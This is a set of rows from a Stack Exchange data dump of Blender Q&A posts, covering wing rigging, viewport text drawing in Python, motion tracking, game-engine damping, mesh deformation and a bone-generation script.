  <row Id="31906" PostTypeId="1" AcceptedAnswerId="31907" CreationDate="2015-06-03T18:44:49.797" Score="2" ViewCount="849" Body="&lt;p&gt;So I'm planning this semi-photorealistic animation involving a flying ship, some green miles, and a supervoid as special effects, and some of the many models that are going to need to be created are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chen, a Nekomata from the Touhou Project (Perfect Cherry Blossom.)&lt;br&gt;&#xA;A Parasect from Pokémon.&lt;br&gt;&#xA;Several angels with wings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to figure out how to would a hinged wing actually work in Blender? For that matter, should wings, tails or other tentacular appendages be animated through bones, or through simple physical rotation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's only been laid out on paper, and the entire project's pretty much ground to a halt because I can't seem to remember how to parent a mesh to an armature.&lt;br&gt;&#xA;(Also, feel free to submit some blends to help me out here.)&#xA;Thanks, Nefer007 (Anyone who responds gets to be mentioned in the credits!)&lt;/p&gt;&#xA;" OwnerUserId="13814" LastEditorUserId="241" LastEditDate="2015-06-03T20:08:51.010" LastActivityDate="2017-09-08T01:15:33.643" Title="How do I create a hinged wing?" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31907" PostTypeId="2" ParentId="31906" CreationDate="2015-06-03T19:00:51.703" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;For Tails consider a Armature a Spline Constraint, employing curves, which can provide the smooth visuals.  That is just a starter.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Armatures are suggested for Wings.  Thus you have control over the flapping motion. I assume you will need that control.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You stated [I can't seem to remember how ..].  Consider a video website for tutorials. You may want to search .. Blender Tutorial Spline Constraint.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once some of the basics are there you can consider hundreds of subtleties.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-06-03T19:00:51.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31908" PostTypeId="1" AcceptedAnswerId="31932" CreationDate="2015-06-03T19:20:16.070" Score="5" ViewCount="1243" Body="&lt;p&gt;At the moment, i draw ma text in viewport with this modal operator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_handle = None&#xA;&#xA;def modal(self, context, event):&#xA;    context.area.tag_redraw()&#xA;    if not context.window_manager.show_text.enabled:&#xA;        return {'CANCELLED'}&#xA;    return {'PASS_THROUGH'}&#xA;&#xA;@staticmethod&#xA;def handle_add(self, context):&#xA;    VIEW3D_OT_ADH_display_text._handle = bpy.types.SpaceView3D.draw_handler_add(&#xA;           draw_text_callback, &#xA;           (self, context),&#xA;           'WINDOW', 'POST_PIXEL')&#xA;&#xA;@staticmethod&#xA;def handle_remove(context):&#xA;    _handle = VIEW3D_OT_ADH_display_text._handle&#xA;    if _handle != None:&#xA;        bpy.types.SpaceView3D.draw_handler_remove(_handle, 'WINDOW')&#xA;    VIEW3D_OT_ADH_display_text._handle = None&#xA;&#xA;def invoke(self, context, event):&#xA;    if context.window_manager.show_text.enabled == False:&#xA;        context.window_manager.show_text.enabled = True&#xA;        VIEW3D_OT_ADH_display_text.handle_add(self, context)&#xA;&#xA;        return {'RUNNING_MODAL'}&#xA;    else:&#xA;        context.window_manager.show_text.enabled = False&#xA;        VIEW3D_OT_ADH_display_text.handle_remove(context)&#xA;&#xA;        return {'CANCELLED'}&#xA;&#xA;    return {'CANCELLED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to draw my text without modal operator and update it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.app.handlers.scene_update_post&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when my mesh is updated please ? &lt;/p&gt;&#xA;" OwnerUserId="11582" LastActivityDate="2016-01-28T17:01:56.463" Title="Draw and update text in viewport without modal operator in blender" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31909" PostTypeId="2" ParentId="31898" CreationDate="2015-06-03T19:21:48.670" Score="1" Body="&lt;p&gt;I would do it like this:&#xA;- Create the first vertebra&#xA;- Shift D Z to duplicate and move upward&#xA;- Shift R to repeat the last operation&#xA;- S for scaling the needed&#xA;- at the end select all the vertebrae and ctrl J Join them&#xA;- add a curve modifier to adjust the shape of the whole object&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Then create a single bone&lt;/li&gt;&#xA;&lt;li&gt;in edit mode extrude the bone moving the tip toward the top of the next vertebra&lt;/li&gt;&#xA;&lt;li&gt;extrude again ...&lt;/li&gt;&#xA;&lt;li&gt;at the end parent the object to the armature using automatic wheight&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I think it can take half an hour for 50-60 pieces&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe for 5000 you would need an automated way&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember also that a long bone can be subdivided n times,  with the W key menu.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-03T19:21:48.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31911" PostTypeId="2" ParentId="31890" CreationDate="2015-06-03T20:08:02.667" Score="4" Body="&lt;p&gt;From the information you have provided it sounds like you are attempting to perform your tracking on your actual movie file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is the case you should export the entire movie to a series of image frames, then import that image sequence into the movie clip editor and perform your tracking on the image sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most movie file formats store their data, not as a sequence of fixed images, but as a description of the changes in the image since the last frame, and depending on the compression level used will discard some of that information.&lt;br&gt;&#xA;For an insight into how complex this issue can become you may like to look at the &lt;a href=&quot;http://www.nasaspaceflight.com/2014/06/recovering-falcon-9-ocean-landing-video-done/&quot; rel=&quot;nofollow&quot;&gt;story of the recovery of the lost video&lt;/a&gt; from the first ocean landing of SpaceX's recoverable Falcon 9 Stage 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Skipping backwards and forwards through movie files can produce decoding differences in the frames being viewed, and can result in inconsistent output, which in turn is compounded in this case as the movie file is continually being re-read from disk.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To break your movie file into an image sequence:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open a new instance of Blender&lt;/li&gt;&#xA;&lt;li&gt;Set the render properties for the project &lt;em&gt;(frame size, # of frames, frame rate etc. to match the movie file)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set the output format to an image format (&lt;code&gt;.png&lt;/code&gt; is usually OK) &lt;/li&gt;&#xA;&lt;li&gt;Set the &lt;em&gt;output directory&lt;/em&gt; to a new directory to store these files&lt;/li&gt;&#xA;&lt;li&gt;Switch to the video editing screen layout&lt;/li&gt;&#xA;&lt;li&gt;With your mouse over the &lt;em&gt;Video Sequence Editor&lt;/em&gt; window&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; and select &lt;em&gt;Movie&lt;/em&gt; to add a movie file (Navigate to it and select your movie file)&lt;/li&gt;&#xA;&lt;li&gt;Make sure the strip is placed with the start frame on frame &lt;code&gt;1&lt;/code&gt;.  &lt;/li&gt;&#xA;&lt;li&gt;Render the animation (switch back to the default view, or press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F12&lt;/kbd&gt;).  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The image sequence produced can be used in place of the movie file in your tracking scene in exactly the same way - simply select all the frames in the directory, in place of the movie file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this solves your problem.&lt;/p&gt;&#xA;" OwnerUserId="13901" LastEditorUserId="3710" LastEditDate="2015-06-04T18:44:32.080" LastActivityDate="2015-06-04T18:44:32.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31913" PostTypeId="2" ParentId="30776" CreationDate="2015-06-03T20:51:30.587" Score="9" Body="&lt;p&gt;Here's what I came up with using the ocean modifier and a volume shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XkioD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used a cube with a volume emission particle system to add stars:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5LMyC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I had planned to use a smoke simulation with the ocean objects as emitters, but a smoke rendering &lt;a href=&quot;https://developer.blender.org/T44934&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug&lt;/a&gt; is preventing me from testing this atm..&#xA;Will update further once the bug is fixed.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-06-03T20:57:25.807" LastActivityDate="2015-06-03T20:57:25.807" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31914" PostTypeId="2" ParentId="30999" CreationDate="2015-06-03T21:00:13.327" Score="3" Body="&lt;p&gt;There are two things I can suggest at this point.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Set the linear velocity mode to &quot;Add&quot;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I know you think I'm super ignorant or something, but for whatever reason I still don't &lt;em&gt;quite&lt;/em&gt; see the problem. &#xA;This quote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;in that if I try to switch direction mid-air, it starts to move backwards with the same velocity it had when moving forward &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;suggests that the new force is dispersing the other one too quickly (instantaneously?).&#xA;If this &lt;em&gt;is&lt;/em&gt; the case, turning the linear velocity mode to &lt;strong&gt;Add&lt;/strong&gt; might help. This causes the new force to be slowly added to the old one. still experimenting with it, but it seems like you may need to enable &quot;True-Level-Triggering&quot; on your sensor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can enable &lt;strong&gt;Add&lt;/strong&gt; with the little &quot;A&quot; next to linear velocity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jRn5g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Turn up the damping frames&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is another way to slow down the effects of the motion when it is pressed, but unlike add, it applies to even a stationary object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example with &lt;strong&gt;damping frames&lt;/strong&gt;, if my cube is still, and I hit &quot;w&quot; triggering my actuator, the cube takes the required frames to build up it's velocity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I had used &lt;strong&gt;Add&lt;/strong&gt; instead, 0+1 still equals 1, so the build up isn't like a snail. use add if you can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can enable damping frames by typing the number of frames in the damping frames box at the bottom of the logic brick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ac9mc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-06-03T21:00:13.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31915" PostTypeId="2" ParentId="30999" CreationDate="2015-06-03T21:29:24.713" Score="4" Body="&lt;p&gt;All of the answers here so far do not quite fix your problem. it is actually quite easy to fix. &lt;a href=&quot;https://blender.stackexchange.com/users/6385/radish-of-the-opera&quot;&gt;Radish&lt;/a&gt; Has the right idea (using linear velocity set to &lt;strong&gt;&lt;em&gt;Add&lt;/em&gt;&lt;/strong&gt;). This answer also expands (and says more clearly) what &lt;a href=&quot;https://blender.stackexchange.com/users/14679/stealthyrobot&quot;&gt;StealthyRobot&lt;/a&gt; said in &lt;a href=&quot;https://blender.stackexchange.com/a/31628/5426&quot;&gt;his answer&lt;/a&gt;. (Although the numbers which he gave there do not work as expected)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you need to use linear velocity with the settings &lt;strong&gt;&lt;em&gt;local&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;add&lt;/em&gt;&lt;/strong&gt; enabled.  (I assume you already have this) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QYdzF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we can fix the overshoot problem. to do this increase the damping on the Translation for your character.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YFK1j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using Torque to steer, also set Rotation dampening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also might be useful to view this question&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/21137/5426&quot;&gt;Realistic Jet Flight&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can see it working here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XUPuo.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you had trouble following that, (hopefully you did not) or if you just want to see it working, feel free to take apart/play with the blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/256/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=256&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-08-22T16:30:31.067" CommentCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="31916" PostTypeId="1" AcceptedAnswerId="31918" CreationDate="2015-06-03T23:01:25.677" Score="5" ViewCount="643" Body="&lt;p&gt;I'm unfamiliar with 3d models but I may consider using one for some real-life crafts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to do is have a flat shape (let's say a star) that I can apply transformations to (like a fold or ripple). In addition, I'd like to be able to view and modify the original flat star and also see the resulting folded or rippled version. As if I'm applying a 3d transformations layer to an editable flat element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By doing this I can see a simulation of a real life paper cutout folded up but export the desired flat shape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What process would you use to accomplish this? Is there other software better suited for something like this?&lt;/p&gt;&#xA;" OwnerUserId="14789" LastEditorUserId="55" LastEditDate="2015-06-03T23:33:19.243" LastActivityDate="2015-06-04T17:05:59.030" Title="Deform a flat shape while retaining the original mesh" Tags="&lt;modeling&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31918" PostTypeId="2" ParentId="31916" CreationDate="2015-06-04T00:18:24.223" Score="4" Body="&lt;p&gt;Yes, this is possible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For manual control:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Rigging (use bones to bend and fold the shape)&lt;/li&gt;&#xA;&lt;li&gt;Shape key (manually make some edits - while keeping the base shape) - the shapes can be mixed together and their influences animated.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Check on other deform modifiers too, shrink-wrap. lattice... all of them really, could come in handy for deforming a flat shape.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For effects:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Wave modifier&lt;/li&gt;&#xA;&lt;li&gt;Warp modifier&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Displace (consider using texture to displace, it can be animated too).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Physics: (also worth looking into)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Soft body&lt;/li&gt;&#xA;&lt;li&gt;Cloth&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note, vertex groups can be used to influence many of the distortion methods described above.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This question is quite general (thats OK), but means my answer is generalized too.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-06-04T17:05:59.030" LastActivityDate="2015-06-04T17:05:59.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31919" PostTypeId="1" CreationDate="2015-06-04T01:29:11.570" Score="1" ViewCount="656" Body="&lt;p&gt;Today I imported an .OBJ (Along with .MTL) and selected Material and/or texture (As I tried multiple times) and used texture paint - Nothing was showing up at all, just the original color of the terrain when I imported the OBJ, even in the rendered mode. How do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also would like to know, can I use a material and a texture on an object at the same time? Because I'd like to create a glossy look to the water while painting it with a better blue color. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link for the .blend file is down below. It just imports with a green color, the color of the grass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://onedrive.live.com/redir?resid=d5ae8445efeb2264!1349&amp;amp;authkey=!AIyD32vqSvOKu5Y&amp;amp;ithint=folder%2Cmtl&quot; rel=&quot;nofollow&quot;&gt;Here it is:&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9583" LastEditorUserId="9583" LastEditDate="2015-06-05T23:00:50.590" LastActivityDate="2015-10-04T02:04:53.283" Title="Paint not showing up in Cycles?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31920" PostTypeId="1" CreationDate="2015-06-04T01:39:47.670" Score="2" ViewCount="163" Body="&lt;p&gt;When I use the image editor's paint brush the color is applied at the wrong location.  Instead of painting at the cursor it paints a couple pixels up and to the right. Makes doing fine detail work frustrating.  The old version I had worked correctly,  when I updated today the problem started.  In the 3d view the brush is correctly lined up.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any one know how to fix this? &lt;/p&gt;&#xA;" OwnerUserId="14795" LastActivityDate="2015-06-04T01:39:47.670" Title="Paint Brush Offset" Tags="&lt;texturing&gt;&lt;image&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-06-04T03:41:59.583" ContentLicense="CC BY-SA 3.0" />
  <row Id="31921" PostTypeId="2" ParentId="31898" CreationDate="2015-06-04T03:00:36.693" Score="0" Body="&lt;p&gt;Better to use python for highly repetitive tasks like this. Here's a python script automate the generation of the bone and vertebrae pairs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Script assumes existence of &quot;VertBone1&quot; armature and &quot;Vertebrae1&quot; object with the &quot;Vertebrae1&quot; object parented to the &quot;VertBone1&quot; armature&#xA;&#xA;import bpy&#xA;&#xA;gapAmt = 0.1 &#xA;scaleAmt = 0.9&#xA;numVertebraes = 6&#xA;&#xA;#deselect all objects&#xA;bpy.ops.object.select_all(action='TOGGLE')  &#xA;bpy.ops.object.select_all(action='DESELECT') &#xA;&#xA;&#xA;for i in range(1, numVertebraes):&#xA;&#xA;    #set our target object names&#xA;    boneName = str(&quot;VertBone&quot;+str(i))&#xA;    vertebraeName = str(&quot;Vertebrae&quot;+str(i))&#xA;&#xA;    #iterate over all objects and select our target objects    &#xA;    for o in bpy.data.objects:&#xA;        o.select = False&#xA;        if o.name == boneName or o.name == vertebraeName:&#xA;            o.select = True&#xA;            if o.name == vertebraeName:&#xA;                #get the height of the current vertebrae&#xA;                curVT = o.dimensions.z&#xA;&#xA;    #duplicate both objects                &#xA;    bpy.ops.object.duplicate(linked=False)&#xA;&#xA;    newVert = bpy.data.objects[vertebraeName +&quot;.001&quot;]&#xA;    newBone = bpy.data.objects[boneName +&quot;.001&quot;]&#xA;&#xA;    newVert.select = True&#xA;    newVert.name = &quot;Vertebrae&quot; + str(i+1)   &#xA;    newBone.select = False&#xA;&#xA;    #scale vertebrae object&#xA;    bpy.ops.transform.resize(value=(scaleAmt,scaleAmt,scaleAmt))&#xA;    bpy.ops.object.transform_apply(location=False, rotation=False, scale=True)&#xA;    newVert.select = False&#xA;&#xA;    newBone.select = True&#xA;    newBone.name = &quot;VertBone&quot; + str(i+1)&#xA;&#xA;    #set translation amount to equal height of current vertebrae plus gap amount                &#xA;    moveAmt = curVT+gapAmt&#xA;    bpy.ops.transform.translate(value=(0, 0, moveAmt))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FWuZa.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: each bone will be a separate armature. You may have to join them if you only want one armature.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-06-04T03:08:47.583" LastActivityDate="2015-06-04T03:08:47.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31922" PostTypeId="2" ParentId="31790" CreationDate="2015-06-04T03:01:01.420" Score="9" Body="&lt;p&gt;It's hard to know how to help without many details. If you're following a modelling tutorial and you're supposed to have 32 faces and you only have 11, you may want to go back and double check you followed the tutorial properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But your question was how to increase the number of faces, and here's a few ways how...&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Method 1: Using Subdivide Tool&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Select your object and make sure you are in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U0feI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Click this button to enter face select mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F0sVF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the faces that you wish to divide by right clicking on them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Vcpg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;W&lt;/kbd&gt;, and when this menu pops up, click &lt;code&gt;Subdivide&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QUNLq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can repeat this as many times as you want. Each time the selected faces will be divided into 4 new faces if they are quads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OV6ei.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Method 2: Using Knife Tool&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Again, select your object and make sure you're in edit mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/R7EjQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;K&lt;/kbd&gt; to activate the knife tool. Now you can draw lines where you want to cut your object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HGhB5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And press &lt;kbd&gt;ENTER&lt;/kbd&gt; when you are satisfied, or &lt;kbd&gt;ESC&lt;/kbd&gt; to cancel.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Method 3: Ring Cut Tool&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is essentially a much more controlled, but limited, version of the knife tool. Once again make sure you select your object and are in edit mode. Press &lt;kbd&gt;CTRL + R&lt;/kbd&gt; to activate the ring cut tool, and mouse over an edge. The purple line is where the cut will be made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zlqu9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can scroll up and down with your mouse to increase/decrease the number of cuts, and click to perform the cut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point you can adjust the position of the cuts, or right click to keep them in the center.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Method 4: Subdivision Surface Modifier&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This one is a little different. This time, make sure you are in &lt;strong&gt;object mode&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AJwRI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With your object select, go to the modifiers panel on the right (it looks like a wrench) and click &lt;code&gt;Add Modifier&lt;/code&gt; and select &lt;code&gt;Subdivision Surface&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ETAHw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can adjust the number of cuts with the numbers where it says &quot;View&quot; and &quot;Render&quot;. If you don't want your object to be rounded, click on &lt;code&gt;Simple&lt;/code&gt;. Click &lt;code&gt;Apply&lt;/code&gt; when you are satisfied.&lt;/p&gt;&#xA;" OwnerUserId="8281" LastActivityDate="2015-06-04T03:01:01.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31923" PostTypeId="1" CreationDate="2015-06-04T03:58:10.733" Score="5" ViewCount="3196" Body="&lt;p&gt;I am rigging an arm to follow a bone using copy transform. It does work as I want, but when I apply the constraint it randomly rotates. I can rotate it back but it takes a long time because I need it to be precise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am wondering if it's possible to add the copy transform constraint without changing the current position?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ioIax.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/JoYXB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="599" LastEditDate="2015-06-04T04:08:36.157" LastActivityDate="2017-03-03T23:10:12.713" Title="How to keep initial orientation when adding copy transforms constraint?" Tags="&lt;rigging&gt;&lt;transforms&gt;&lt;constraints&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31924" PostTypeId="2" ParentId="31923" CreationDate="2015-06-04T05:25:24.313" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider setting keyframes on the influence. 0.0 influence on the start frame and 1.0 influence on another frame as suits your goal.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Keep in mind the last constraint with influence 1.0 may replace all other constraints.  This may or may not suit you.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider if world space to world space is suited to your task.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Verify there are no cyclic dependencies in your targets.  For example  it might [not] be desirable to have the left arm constrained to the left thumb.  Example hypothetical follows.  The left eye bone and right eye bone tracked to a [empty] would probably have no cyclic dependencies.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider an IK Constraint (Inverse Kinematics)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-06-04T05:52:20.913" LastActivityDate="2015-06-04T05:52:20.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
